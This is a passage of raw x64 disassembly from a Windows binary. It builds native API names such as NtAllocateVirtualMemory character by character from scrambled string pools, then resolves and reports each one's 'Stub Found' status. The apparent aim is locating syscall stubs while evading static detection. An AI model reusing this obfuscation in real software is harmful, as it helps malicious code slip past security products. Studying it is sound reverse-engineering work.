lea rax, [rbp + 0x2e00]
lea rdx, [rbp + 0x2e20]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2de0]
lea rdx, [rbp + 0x2e00]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2dc0]
lea rdx, [rbp + 0x2de0]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2da0]
lea rdx, [rbp + 0x2dc0]
lea r8, [0x1401005b3]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2d80]
lea rdx, [rbp + 0x2da0]
lea r8, [0x1401005b5]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2d60]
lea rdx, [rbp + 0x2d80]
lea r8, [0x1401005b7]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x2d60]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2d60]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2d80]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2da0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2dc0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2de0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2e00]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2e20]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2e40]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2e60]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2e80]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2ea0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2ec0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2ee0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2f00]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2f20]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2f40]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2f6f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x2f70]
mov rcx, qword [rbp + 0x5350]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x2f70]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x14000582c
lea rbx, [0x14010058b]
jmp 0x140005833
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x315f]
lea rax, [rbp + 0x3130]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3110]
lea rdx, [rbp + 0x3130]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x30f0]
lea rdx, [rbp + 0x3110]
lea r8, [0x1401005b9]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x30d0]
lea rdx, [rbp + 0x30f0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x30b0]
lea rdx, [rbp + 0x30d0]
lea r8, [0x1401005bb]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3090]
lea rdx, [rbp + 0x30b0]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3070]
lea rdx, [rbp + 0x3090]
lea r8, [0x140100587]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3050]
lea rdx, [rbp + 0x3070]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3030]
lea rdx, [rbp + 0x3050]
lea r8, [0x1401005af]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3010]
lea rdx, [rbp + 0x3030]
lea r8, [0x1401005b1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2ff0]
lea rdx, [rbp + 0x3010]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2fd0]
lea rdx, [rbp + 0x2ff0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2fb0]
lea rdx, [rbp + 0x2fd0]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x2f90]
lea rdx, [rbp + 0x2fb0]
lea r8, [0x1401005b3]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x2f90]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x2f90]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2fb0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2fd0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x2ff0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3010]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3030]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3050]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3070]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3090]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x30b0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x30d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x30f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3110]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3130]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x315f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3160]
mov rcx, qword [rbp + 0x5348]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3160]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x140005b6f
lea rbx, [0x14010058b]
jmp 0x140005b76
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x342f]
lea rax, [rbp + 0x3400]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x33e0]
lea rdx, [rbp + 0x3400]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x33c0]
lea rdx, [rbp + 0x33e0]
lea r8, str.WPCThdExRsFSngObjQIfpGDw
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x33a0]
lea rdx, [rbp + 0x33c0]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3380]
lea rdx, [rbp + 0x33a0]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3360]
lea rdx, [rbp + 0x3380]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3340]
lea rdx, [rbp + 0x3360]
lea r8, [0x1401005bd]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3320]
lea rdx, [rbp + 0x3340]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3300]
lea rdx, [rbp + 0x3320]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x32e0]
lea rdx, [rbp + 0x3300]
lea r8, [0x1401005bf]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x32c0]
lea rdx, [rbp + 0x32e0]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x32a0]
lea rdx, [rbp + 0x32c0]
lea r8, [0x1401005c1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3280]
lea rdx, [rbp + 0x32a0]
lea r8, [0x1401005c3]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3260]
lea rdx, [rbp + 0x3280]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3240]
lea rdx, [rbp + 0x3260]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3220]
lea rdx, [rbp + 0x3240]
lea r8, [0x1401005c5]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3200]
lea rdx, [rbp + 0x3220]
lea r8, [0x1401005c7]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x31e0]
lea rdx, [rbp + 0x3200]
lea r8, [0x1401005c9]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x31c0]
lea rdx, [rbp + 0x31e0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x31a0]
lea rdx, [rbp + 0x31c0]
lea r8, [0x140100577]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3180]
lea rdx, [rbp + 0x31a0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x3180]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x3180]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x31a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x31c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x31e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3200]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3220]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3240]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3260]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3280]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x32a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x32c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x32e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3300]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3320]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3340]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3360]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3380]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x33a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x33c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x33e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3400]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x342f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3430]
mov rcx, qword [rbp + 0x5340]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3430]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x140005fe6
lea rbx, [0x14010058b]
jmp 0x140005fed
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x377f]
lea rax, [rbp + 0x3750]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3730]
lea rdx, [rbp + 0x3750]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3710]
lea rdx, [rbp + 0x3730]
lea r8, [0x1401005cb]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x36f0]
lea rdx, [rbp + 0x3710]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x36d0]
lea rdx, [rbp + 0x36f0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x36b0]
lea rdx, [rbp + 0x36d0]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3690]
lea rdx, [rbp + 0x36b0]
lea r8, [0x140100589]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3670]
lea rdx, [rbp + 0x3690]
lea r8, [0x1401005cd]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3650]
lea rdx, [rbp + 0x3670]
lea r8, [0x1401005c1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3630]
lea rdx, [rbp + 0x3650]
lea r8, [0x1401005cf]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3610]
lea rdx, [rbp + 0x3630]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x35f0]
lea rdx, [rbp + 0x3610]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x35d0]
lea rdx, [rbp + 0x35f0]
lea r8, [0x140100587]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x35b0]
lea rdx, [rbp + 0x35d0]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3590]
lea rdx, [rbp + 0x35b0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3570]
lea rdx, [rbp + 0x3590]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3550]
lea rdx, [rbp + 0x3570]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3530]
lea rdx, [rbp + 0x3550]
lea r8, [0x1401005c1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3510]
lea rdx, [rbp + 0x3530]
lea r8, [0x1401005ab]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x34f0]
lea rdx, [rbp + 0x3510]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x34d0]
lea rdx, [rbp + 0x34f0]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x34b0]
lea rdx, [rbp + 0x34d0]
lea r8, [0x140100577]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3490]
lea rdx, [rbp + 0x34b0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3470]
lea rdx, [rbp + 0x3490]
lea r8, [0x1401005bb]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3450]
lea rdx, [rbp + 0x3470]
lea r8, [0x1401005bb]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x3450]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x3450]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3470]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3490]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x34b0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x34d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x34f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3510]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3530]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3550]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3570]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3590]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x35b0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x35d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x35f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3610]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3630]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3650]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3670]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3690]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x36b0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x36d0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x36f0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3710]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3730]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3750]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x377f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3780]
mov rcx, qword [rbp + 0x5338]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3780]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x14000650d
lea rbx, [0x14010058b]
jmp 0x140006514
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x3a0f]
lea rax, [rbp + 0x39e0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x39c0]
lea rdx, [rbp + 0x39e0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x39a0]
lea rdx, [rbp + 0x39c0]
lea r8, [0x1401005b9]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3980]
lea rdx, [rbp + 0x39a0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3960]
lea rdx, [rbp + 0x3980]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3940]
lea rdx, [rbp + 0x3960]
lea r8, [0x1401005b3]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3920]
lea rdx, [rbp + 0x3940]
lea r8, [0x14010057d]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3900]
lea rdx, [rbp + 0x3920]
lea r8, [0x14010057f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x38e0]
lea rdx, [rbp + 0x3900]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x38c0]
lea rdx, [rbp + 0x38e0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x38a0]
lea rdx, [rbp + 0x38c0]
lea r8, [0x140100583]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3880]
lea rdx, [rbp + 0x38a0]
lea r8, [0x140100579]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3860]
lea rdx, [rbp + 0x3880]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3840]
lea rdx, [rbp + 0x3860]
lea r8, [0x140100585]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3820]
lea rdx, [rbp + 0x3840]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3800]
lea rdx, [rbp + 0x3820]
lea r8, [0x140100587]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x37e0]
lea rdx, [rbp + 0x3800]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x37c0]
lea rdx, [rbp + 0x37e0]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x37a0]
lea rdx, [rbp + 0x37c0]
lea r8, [0x140100589]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x37a0]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x37a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x37c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x37e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3800]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3820]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3840]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3860]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3880]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x38a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x38c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x38e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3900]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3920]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3940]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3960]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3980]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x39a0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x39c0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x39e0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3a0f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3a10]
mov rcx, qword [rbp + 0x5330]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3a10]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x14000692c
lea rbx, [0x14010058b]
jmp 0x140006933
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x3b1f]
lea rax, [rbp + 0x3af0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3ad0]
lea rdx, [rbp + 0x3af0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3ab0]
lea rdx, [rbp + 0x3ad0]
lea r8, [0x1401005ad]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3a90]
lea rdx, [rbp + 0x3ab0]
lea r8, [0x140100573]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3a70]
lea rdx, [rbp + 0x3a90]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3a50]
lea rdx, [rbp + 0x3a70]
lea r8, [0x1401005bb]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3a30]
lea rdx, [rbp + 0x3a50]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rdx, [rbp + 0x3a30]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.1400ab5b0
lea rax, [rbp + 0x3a30]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3a50]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3a70]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3a90]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3ab0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3ad0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3af0]
mov rcx, rax
call fcn.1400ab570
lea rax, [rbp + 0x3b1f]
mov rcx, rax
call fcn.140073520
lea rdx, [rbp + 0x24a0]
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.1400aa9c0
mov r9, qword [rbp + 0x52a8]
mov r8, qword [rbp + 0x52c8]
mov rdx, qword [rbp + 0x52a0]
lea rax, [rbp + 0x3b20]
mov rcx, qword [rbp + 0x5328]
mov qword [rsp + 0x28], rcx
mov rcx, qword [rbp + 0x5390]
mov qword [rsp + 0x20], rcx
mov rcx, rax
call fcn.1400014dd
mov dword [rbp + 0x529c], eax
lea rax, [rbp + 0x3b20]
mov rcx, rax
call fcn.1400ab570
cmp dword [rbp + 0x529c], 0
je 0x140006b3b
lea rbx, [0x14010058b]
jmp 0x140006b42
lea rbx, [0x140100590]
lea rax, [rbp + 0x24a0]
mov rcx, rax
call fcn.140030cf0
mov r8, rbx
mov rdx, rax
lea rax, str._s_Stub_Found:__s_n
mov rcx, rax
call fcn.140001450
lea rax, [rbp + 0x3cef]
mov rcx, rax
call fcn.1400734f0
lea rdx, [rbp + 0x3cef]
lea rax, [rbp + 0x3cc0]
mov r8, rdx
lea rdx, str.NtAlocaeViruMmy
mov rcx, rax
call fcn.1400aae50
lea rax, [rbp + 0x3ca0]
lea rdx, [rbp + 0x3cc0]
lea r8, [0x14010056f]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3c80]
lea rdx, [rbp + 0x3ca0]
lea r8, [0x1401005c5]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3c60]
lea rdx, [rbp + 0x3c80]
lea r8, [0x1401005d1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3c40]
lea rdx, [rbp + 0x3c60]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3c20]
lea rdx, [rbp + 0x3c40]
lea r8, [0x1401005c1]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3c00]
lea rdx, [rbp + 0x3c20]
lea r8, [0x1401005ab]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3be0]
lea rdx, [rbp + 0x3c00]
lea r8, [0x140100581]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3bc0]
lea rdx, [rbp + 0x3be0]
lea r8, [0x140100575]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3ba0]
lea rdx, [rbp + 0x3bc0]
lea r8, [0x140100577]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3b80]
lea rdx, [rbp + 0x3ba0]
lea r8, [0x14010057b]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3b60]
lea rdx, [rbp + 0x3b80]
lea r8, [0x1401005bb]
mov rcx, rax
call fcn.1400bb9d0
lea rax, [rbp + 0x3b40]
lea rdx, [rbp + 0x3b60]
